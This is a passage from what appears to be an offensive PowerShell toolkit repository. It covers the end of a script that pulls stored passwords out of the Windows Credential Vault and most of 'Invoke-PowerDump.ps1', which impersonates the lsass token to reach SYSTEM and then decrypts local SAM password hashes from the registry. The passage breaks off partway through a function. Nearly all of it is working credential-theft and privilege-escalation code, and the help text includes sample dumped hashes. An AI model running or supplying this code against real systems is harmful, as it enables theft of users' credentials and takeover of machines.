| [Reflection.CallingConventions]::Standard, 115 | [Int32], 116 | [Type[]] @([IntPtr].MakeByRefType()), 117 | [Runtime.InteropServices.CallingConvention]::Winapi, 118 | [Runtime.InteropServices.CharSet]::Auto) 119 | 120 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree', 121 | 'vaultcli.dll', 122 | 'Public, Static', 123 | [Reflection.CallingConventions]::Standard, 124 | [Int32], 125 | [Type[]] @([IntPtr]), 126 | [Runtime.InteropServices.CallingConvention]::Winapi, 127 | [Runtime.InteropServices.CharSet]::Auto) 128 | 129 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults', 130 | 'vaultcli.dll', 131 | 'Public, Static', 132 | [Reflection.CallingConventions]::Standard, 133 | [Int32], 134 | [Type[]] @([Int32], 135 | [Int32].MakeByRefType(), 136 | [IntPtr].MakeByRefType()), 137 | [Runtime.InteropServices.CallingConvention]::Winapi, 138 | [Runtime.InteropServices.CharSet]::Auto) 139 | 140 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems', 141 | 'vaultcli.dll', 142 | 'Public, Static', 143 | [Reflection.CallingConventions]::Standard, 144 | [Int32], 145 | [Type[]] @([IntPtr], 146 | [Int32], 147 | [Int32].MakeByRefType(), 148 | [IntPtr].MakeByRefType()), 149 | [Runtime.InteropServices.CallingConvention]::Winapi, 150 | [Runtime.InteropServices.CharSet]::Auto) 151 | 152 | if ($OSMajor -ge 6 -and $OSMinor -ge 2) 153 | { 154 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', 155 | 'vaultcli.dll', 156 | 'Public, Static', 157 | [Reflection.CallingConventions]::Standard, 158 | [Int32], 159 | [Type[]] @([IntPtr], 160 | [Guid].MakeByRefType(), 161 | [IntPtr], 162 | [IntPtr], 163 | [IntPtr], 164 | [IntPtr], 165 | [Int32], 166 | [IntPtr].MakeByRefType()), 167 | [Runtime.InteropServices.CallingConvention]::Winapi, 168 | [Runtime.InteropServices.CharSet]::Auto) 169 | } 170 | else 171 | { 172 | $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem', 173 | 'vaultcli.dll', 174 | 'Public, Static', 175 | [Reflection.CallingConventions]::Standard, 176 | [Int32], 177 | [Type[]] @([IntPtr], 178 | [Guid].MakeByRefType(), 179 | [IntPtr], 180 | [IntPtr], 181 | [IntPtr], 182 | [Int32], 183 | [IntPtr].MakeByRefType()), 184 | [Runtime.InteropServices.CallingConvention]::Winapi, 185 | [Runtime.InteropServices.CharSet]::Auto) 186 | } 187 | 188 | $Vaultcli = $TypeBuilder.CreateType() 189 | #endregion 190 | 191 | # Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct. 192 | function local:Get-VaultElementValue 193 | { 194 | Param ( 195 | [ValidateScript({$_ -ne [IntPtr]::Zero})] 196 | [IntPtr] 197 | $VaultElementPtr 198 | ) 199 | 200 | $PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT) 201 | $ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16) 202 | 203 | switch ($PartialElement.Type) 204 | { 205 | $VAULT_ELEMENT_TYPE::String { 206 | $StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) 207 | [Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr) 208 | } 209 | 210 | $VAULT_ELEMENT_TYPE::Boolean { 211 | [Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr) 212 | } 213 | 214 | $VAULT_ELEMENT_TYPE::Short { 215 | [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) 216 | } 217 | 218 | $VAULT_ELEMENT_TYPE::UnsignedShort { 219 | [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr) 220 | } 221 | 222 | $VAULT_ELEMENT_TYPE::Int { 223 | [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) 224 | } 225 | 226 | $VAULT_ELEMENT_TYPE::UnsignedInt { 227 | [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr) 228 | } 229 | 230 | $VAULT_ELEMENT_TYPE::Double { 231 | [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double]) 232 | } 233 | 234 | $VAULT_ELEMENT_TYPE::Guid { 235 | [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid]) 236 | } 237 | 238 | $VAULT_ELEMENT_TYPE::Sid { 239 | $SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr) 240 | Write-Verbose "0x$($SidPtr.ToString('X8'))" 241 | $SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr) 242 | $SidObject.Value 243 | } 244 | 245 | # These elements are currently unimplemented. 246 | # I have yet to see these used in practice. 247 | $VAULT_ELEMENT_TYPE::ByteArray { $null } 248 | $VAULT_ELEMENT_TYPE::TimeStamp { $null } 249 | $VAULT_ELEMENT_TYPE::ProtectedArray { $null } 250 | $VAULT_ELEMENT_TYPE::Attribute { $null } 251 | $VAULT_ELEMENT_TYPE::Last { $null } 252 | } 253 | } 254 | 255 | $VaultCount = 0 256 | $VaultGuidPtr = [IntPtr]::Zero 257 | $Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr) 258 | 259 | if ($Result -ne 0) 260 | { 261 | throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))" 262 | } 263 | 264 | $GuidAddress = $VaultGuidPtr 265 | 266 | $VaultSchema = @{ 267 | ([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note' 268 | ([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential' 269 | ([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector' 270 | ([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials' 271 | ([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials' 272 | ([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential' 273 | ([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential' 274 | ([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential' 275 | ([Guid] '00000000-0000-0000-0000-000000000000') = $null 276 | } 277 | 278 | if ($VaultCount) 279 | { 280 | foreach ($i in 1..$VaultCount) 281 | { 282 | $VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid]) 283 | $GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid])) 284 | 285 | $VaultHandle = [IntPtr]::Zero 286 | 287 | Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))" 288 | 289 | $Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle) 290 | 291 | if ($Result -ne 0) 292 | { 293 | Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" 294 | continue 295 | } 296 | 297 | $VaultItemCount = 0 298 | $VaultItemPtr = [IntPtr]::Zero 299 | 300 | $Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr) 301 | 302 | if ($Result -ne 0) 303 | { 304 | $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) 305 | Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" 306 | continue 307 | } 308 | 309 | $StructAddress = $VaultItemPtr 310 | 311 | if ($VaultItemCount) 312 | { 313 | foreach ($j in 1..$VaultItemCount) 314 | { 315 | $CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM) 316 | $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM)) 317 | 318 | $PasswordVaultItem = [IntPtr]::Zero 319 | 320 | if ($OSMajor -ge 6 -and $OSMinor -ge 2) 321 | { 322 | $Result = $Vaultcli::VaultGetItem($VaultHandle, 323 | [Ref] $CurrentItem.SchemaId, 324 | $CurrentItem.pResourceElement, 325 | $CurrentItem.pIdentityElement, 326 | $CurrentItem.pPackageSid, 327 | [IntPtr]::Zero, 328 | 0, 329 | [Ref] $PasswordVaultItem) 330 | } 331 | else 332 | { 333 | $Result = $Vaultcli::VaultGetItem($VaultHandle, 334 | [Ref] $CurrentItem.SchemaId, 335 | $CurrentItem.pResourceElement, 336 | $CurrentItem.pIdentityElement, 337 | [IntPtr]::Zero, 338 | 0, 339 | [Ref] $PasswordVaultItem) 340 | } 341 | 342 | $PasswordItem = $null 343 | 344 | if ($Result -ne 0) 345 | { 346 | Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))" 347 | continue 348 | } 349 | else 350 | { 351 | $PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM) 352 | } 353 | 354 | if ($VaultSchema.ContainsKey($VaultGuid)) 355 | { 356 | $VaultType = $VaultSchema[$VaultGuid] 357 | } 358 | else 359 | { 360 | $VaultType = $VaultGuid 361 | } 362 | 363 | if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero) 364 | { 365 | $Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement 366 | } 367 | else 368 | { 369 | $Credential = $null 370 | } 371 | 372 | $PackageSid = $null 373 | 374 | if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero)) 375 | { 376 | $PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid 377 | } 378 | 379 | 380 | $Properties = @{ 381 | Vault = $VaultType 382 | Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null } 383 | Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null } 384 | PackageSid = $PackageSid 385 | Credential = $Credential 386 | LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified) 387 | } 388 | 389 | $VaultItem = New-Object PSObject -Property $Properties 390 | $VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM' 391 | 392 | Write-Output $VaultItem 393 | 394 | $null = $Vaultcli::VaultFree($PasswordVaultItem) 395 | } 396 | } 397 | 398 | $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) 399 | } 400 | } 401 | } 402 | -------------------------------------------------------------------------------- /jobs/totalp0wn/Invoke-PowerDump.ps1: -------------------------------------------------------------------------------- 1 | # Pulled from darkoperator's Posh-SecMod: 2 | # https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 3 | function Invoke-PowerDump 4 | { 5 | <# 6 | .SYNOPSIS 7 | Dumps hashes from the local system. Note: administrative privileges required. 8 | .DESCRIPTION 9 | Generate a command for dumping hashes from a Windows System PowerShell.exe -command 10 | Command must be executed as SYSTEM if ran as administrator it will privilage escalate to SYSTEM 11 | and execute a hashdump by reading the hashes from the registry. 12 | .EXAMPLE 13 | $enc = Get-PostHashdumpScript 14 | C:\PS>powershell.exe -command $enc 15 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d4afe1d16ae931b74c59d7e1c089c0::: 16 | Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 17 | Carlos:1001:aad3b435b51404eeaad3b435b51404ee:62096e5ed83a10cf61cf79cc36738519::: 18 | HomeGroupUser$:1003:aad3b435b51404eeaad3b435b51404ee:951b271a4b7d1dd7a25e3d9c9f87341e::: 19 | Executes the compressed command generated by the function and dumps the windows hashes from the registry. 20 | 21 | .NOTES 22 | PowerDump script by Kathy Peters, Josh Kelley (winfang) and Dave Kennedy (ReL1K) 23 | Privilage Escalation from http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/05/use-powershell-to-duplicate-process-tokens-via-p-invoke.aspx 24 | #> 25 | 26 | $sign = @" 27 | using System; 28 | using System.Runtime.InteropServices; 29 | public static class priv 30 | { 31 | [DllImport("shell32.dll")] 32 | public static extern bool IsUserAnAdmin(); 33 | } 34 | "@ 35 | $adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru 36 | function ElevatePrivs 37 | { 38 | $signature = @" 39 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 40 | public struct TokPriv1Luid 41 | { 42 | public int Count; 43 | public long Luid; 44 | public int Attr; 45 | } 46 | 47 | public const int SE_PRIVILEGE_ENABLED = 0x00000002; 48 | public const int TOKEN_QUERY = 0x00000008; 49 | public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; 50 | public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; 51 | 52 | public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; 53 | public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; 54 | public const UInt32 TOKEN_DUPLICATE = 0x0002; 55 | public const UInt32 TOKEN_IMPERSONATE = 0x0004; 56 | public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; 57 | public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; 58 | public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; 59 | public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; 60 | public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); 61 | public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | 62 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | 63 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | 64 | TOKEN_ADJUST_SESSIONID); 65 | 66 | public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege"; 67 | public const int ANYSIZE_ARRAY = 1; 68 | 69 | [StructLayout(LayoutKind.Sequential)] 70 | public struct LUID 71 | { 72 | public UInt32 LowPart; 73 | public UInt32 HighPart; 74 | } 75 | 76 | [StructLayout(LayoutKind.Sequential)] 77 | public struct LUID_AND_ATTRIBUTES { 78 | public LUID Luid; 79 | public UInt32 Attributes; 80 | } 81 | 82 | 83 | public struct TOKEN_PRIVILEGES { 84 | public UInt32 PrivilegeCount; 85 | [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)] 86 | public LUID_AND_ATTRIBUTES [] Privileges; 87 | } 88 | 89 | [DllImport("advapi32.dll", SetLastError=true)] 90 | public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int 91 | SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle); 92 | 93 | 94 | [DllImport("advapi32.dll", SetLastError=true)] 95 | [return: MarshalAs(UnmanagedType.Bool)] 96 | public static extern bool SetThreadToken( 97 | IntPtr PHThread, 98 | IntPtr Token 99 | ); 100 | 101 | [DllImport("advapi32.dll", SetLastError=true)] 102 | [return: MarshalAs(UnmanagedType.Bool)] 103 | public static extern bool OpenProcessToken(IntPtr ProcessHandle, 104 | UInt32 DesiredAccess, out IntPtr TokenHandle); 105 | 106 | [DllImport("advapi32.dll", SetLastError = true)] 107 | public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); 108 | 109 | [DllImport("kernel32.dll", ExactSpelling = true)] 110 | public static extern IntPtr GetCurrentProcess(); 111 | 112 | [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] 113 | public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, 114 | ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); 115 | "@ 116 | 117 | $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent()) 118 | if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) { 119 | Write-Warning "Run the Command as an Administrator" 120 | Break 121 | } 122 | 123 | Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv 124 | $adjPriv = [AdjPriv.AdjPriv] 125 | [long]$luid = 0 126 | 127 | $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid 128 | $tokPriv1Luid.Count = 1 129 | $tokPriv1Luid.Luid = $luid 130 | $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED 131 | 132 | $retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) 133 | 134 | [IntPtr]$htoken = [IntPtr]::Zero 135 | $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken) 136 | 137 | 138 | $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES 139 | $retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) 140 | 141 | if(-not($retVal)) { 142 | [System.Runtime.InteropServices.marshal]::GetLastWin32Error() 143 | Break 144 | } 145 | 146 | $process = (Get-Process -Name lsass) 147 | #$process.name 148 | [IntPtr]$hlsasstoken = [IntPtr]::Zero 149 | $retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken) 150 | 151 | [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero 152 | $retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle) 153 | 154 | $retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle) 155 | 156 | if(-not($retVal)) { 157 | [System.Runtime.InteropServices.marshal]::GetLastWin32Error() 158 | } 159 | } 160 | function LoadApi 161 | { 162 | $oldErrorAction = $global:ErrorActionPreference; 163 | $global:ErrorActionPreference = "SilentlyContinue"; 164 | $test = [PowerDump.Native]; 165 | $global:ErrorActionPreference = $oldErrorAction; 166 | if ($test) 167 | { 168 | # already loaded 169 | return; 170 | } 171 | $code = @" 172 | using System; 173 | using System.Security.Cryptography; 174 | using System.Runtime.InteropServices; 175 | using System.Text; 176 | namespace PowerDump 177 | { 178 | public class Native 179 | { 180 | [DllImport("advapi32.dll", CharSet = CharSet.Auto)] 181 | public static extern int RegOpenKeyEx( 182 | int hKey, 183 | string subKey, 184 | int ulOptions, 185 | int samDesired, 186 | out int hkResult); 187 | [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")] 188 | extern public static int RegEnumKeyEx( 189 | int hkey, 190 | int index, 191 | StringBuilder lpName, 192 | ref int lpcbName, 193 | int reserved, 194 | StringBuilder lpClass, 195 | ref int lpcbClass, 196 | out long lpftLastWriteTime); 197 | [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)] 198 | extern public static int RegQueryInfoKey( 199 | int hkey, 200 | StringBuilder lpClass, 201 | ref int lpcbClass, 202 | int lpReserved, 203 | out int lpcSubKeys, 204 | out int lpcbMaxSubKeyLen, 205 | out int lpcbMaxClassLen, 206 | out int lpcValues, 207 | out int lpcbMaxValueNameLen, 208 | out int lpcbMaxValueLen, 209 | out int lpcbSecurityDescriptor, 210 | IntPtr lpftLastWriteTime); 211 | [DllImport("advapi32.dll", SetLastError=true)] 212 | public static extern int RegCloseKey( 213 | int hKey); 214 | } 215 | } // end namespace PowerDump 216 | public class Shift { 217 | public static int Right(int x, int count) { return x >> count; } 218 | public static uint Right(uint x, int count) { return x >> count; } 219 | public static long Right(long x, int count) { return x >> count; } 220 | public static ulong Right(ulong x, int count) { return x >> count; } 221 | public static int Left(int x, int count) { return x << count; } 222 | public static uint Left(uint x, int count) { return x << count; } 223 | public static long Left(long x, int count) { return x << count; } 224 | public static ulong Left(ulong x, int count) { return x << count; } 225 | } 226 | "@ 227 | $provider = New-Object Microsoft.CSharp.CSharpCodeProvider 228 | $dllName = [PsObject].Assembly.Location 229 | $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters 230 | $assemblies = @("System.dll", $dllName) 231 | $compilerParameters.ReferencedAssemblies.AddRange($assemblies) 232 | $compilerParameters.GenerateInMemory = $true 233 | $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code) 234 | if($compilerResults.Errors.Count -gt 0) { 235 | $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) } 236 | } 237 | } 238 | $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0"); 239 | $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0"); 240 | $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee); 241 | $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0); 242 | $odd_parity = @( 243 | 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 244 | 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 245 | 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 246 | 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 247 | 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 248 | 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 249 | 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, 250 | 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, 251 | 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, 252 | 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, 253 | 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, 254 | 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, 255 | 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, 256 | 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, 257 | 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, 258 | 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 259 | ); 260 | function sid_to_key($sid) 261 | { 262 | $s1 = @(); 263 | $s1 += [char]($sid -band 0xFF); 264 | $s1 += [char]([Shift]::Right($sid,8) -band 0xFF); 265 | $s1 += [char]([Shift]::Right($sid,16) -band 0xFF); 266 | $s1 += [char]([Shift]::Right($sid,24) -band 0xFF); 267 | $s1 += $s1[0]; 268 | $s1 += $s1[1]; 269 | $s1 += $s1[2]; 270 | $s2 = @(); 271 | $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2]; 272 | $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2]; 273 | return ,((str_to_key $s1),(str_to_key $s2)); 274 | } 275 | function str_to_key($s) 276 | { 277 | $key = @(); 278 | $key += [Shift]::Right([int]($s[0]), 1 ); 279 | $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2); 280 | $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3); 281 | $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4); 282 | $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5); 283 | $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6); 284 | $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7); 285 | $key += $([int]($s[6]) -band 0x7F); 286 | 0..7 | %{ 287 | $key[$_] = [Shift]::Left($key[$_], 1); 288 | $key[$_] = $odd_parity[$key[$_]]; 289 | } 290 | return ,$key; 291 | } 292 | function NewRC4([byte[]]$key) 293 | { 294 | return new-object Object | 295 | Add-Member NoteProperty key $key -PassThru | 296 | Add-Member NoteProperty S $null -PassThru | 297 | Add-Member ScriptMethod init { 298 | if (-not $this.S) 299 | { 300 | [byte[]]$this.S = 0..255; 301 | 0..255 | % -begin{[long]$j=0;}{ 302 | $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length; 303 | $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp; 304 | } 305 | } 306 | } -PassThru | 307 | Add-Member ScriptMethod "encrypt" { 308 | $data = $args[0]; 309 | $this.init(); 310 | $outbuf = new-object byte[] $($data.Length); 311 | $S2 = $this.S[0..$this.S.Length]; 312 | 0..$($data.Length-1) | % -begin{$i=0;$j=0;} { 313 | $i = ($i+1) % $S2.Length; 314 | $j = ($j + $S2[$i]) % $S2.Length; 315 | $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp; 316 | $a = $data[$_]; 317 | $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ]; 318 | $outbuf[$_] = ($a -bxor $b); 319 | } 320 | return ,$outbuf; 321 | } -PassThru 322 | } 323 | function des_encrypt([byte[]]$data, [byte[]]$key) 324 | { 325 | return ,(des_transform $data $key $true) 326 | } 327 | function des_decrypt([byte[]]$data, [byte[]]$key) 328 | { 329 | return ,(des_transform $data $key $false) 330 | } 331 | function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt) 332 | { 333 | $des = new-object Security.Cryptography.DESCryptoServiceProvider; 334 | $des.Mode = [Security.Cryptography.CipherMode]::ECB; 335 | $des.Padding = [Security.Cryptography.PaddingMode]::None; 336 | $des.Key = $key; 337 | $des.IV = $key; 338 | $transform = $null; 339 | if ($doEncrypt) {$transform = $des.CreateEncryptor();} 340 | else{$transform = $des.CreateDecryptor();} 341 | $result = $transform.TransformFinalBlock($data, 0, $data.Length); 342 | return ,$result; 343 | } 344 | function Get-RegKeyClass([string]$key, [string]$subkey) 345 | { 346 | switch ($Key) { 347 | "HKCR" { $nKey = 0x80000000} #HK Classes Root 348 | "HKCU" { $nKey = 0x80000001} #HK Current User 349 | "HKLM" { $nKey = 0x80000002} #HK Local Machine 350 | "HKU" { $nKey = 0x80000003} #HK Users 351 | "HKCC" { $nKey = 0x80000005} #HK Current Config 352 | default { 353 | throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC" 354 | } 355 | } 356 | $KEYQUERYVALUE = 0x1; 357 | $KEYREAD = 0x19; 358 | $KEYALLACCESS = 0x3F; 359 | $result = ""; 360 | [int]$hkey=0 361 | if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey)) 362 | { 363 | $classVal = New-Object Text.Stringbuilder 1024 364 | [int]$len = 1024 365 | if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null, 366 | [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0)) 367 | { 368 | $result = $classVal.ToString() 369 | } 370 | else 371 | { 372 | Write-Error "RegQueryInfoKey failed"; 373 | } 374 | [PowerDump.Native]::RegCloseKey($hkey) | Out-Null 375 | } 376 | else 377 | { 378 | Write-Error "Cannot open key"; 379 | } 380 | return $result; 381 | } 382 | function Get-BootKey 383 | { 384 | $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"})); 385 | $b = new-object byte[] $($s.Length/2); 386 | 0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)} 387 | $b2 = new-object byte[] 16; 388 | 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++} 389 | return ,$b2; 390 | } 391 | function Get-HBootKey 392 | { 393 | param([byte[]]$bootkey); 394 | $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0"); 395 | $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0"); 396 | $k = Get-Item HKLM:\SAM\SAM\Domains\Account; 397 | if (-not $k) {return $null} 398 | [byte[]]$F = $k.GetValue("F"); 399 | if (-not $F) {return $null} 400 | $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum); 401 | $rc4 = NewRC4 $rc4key; 402 | return ,($rc4.encrypt($F[0x80..0x9F])); 403 | } 404 | function Get-UserName([byte[]]$V) 405 | { 406 | if (-not $V) {return $null}; 407 | $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC; 408 | $len = [BitConverter]::ToInt32($V[0x10..0x13],0); 409 | return 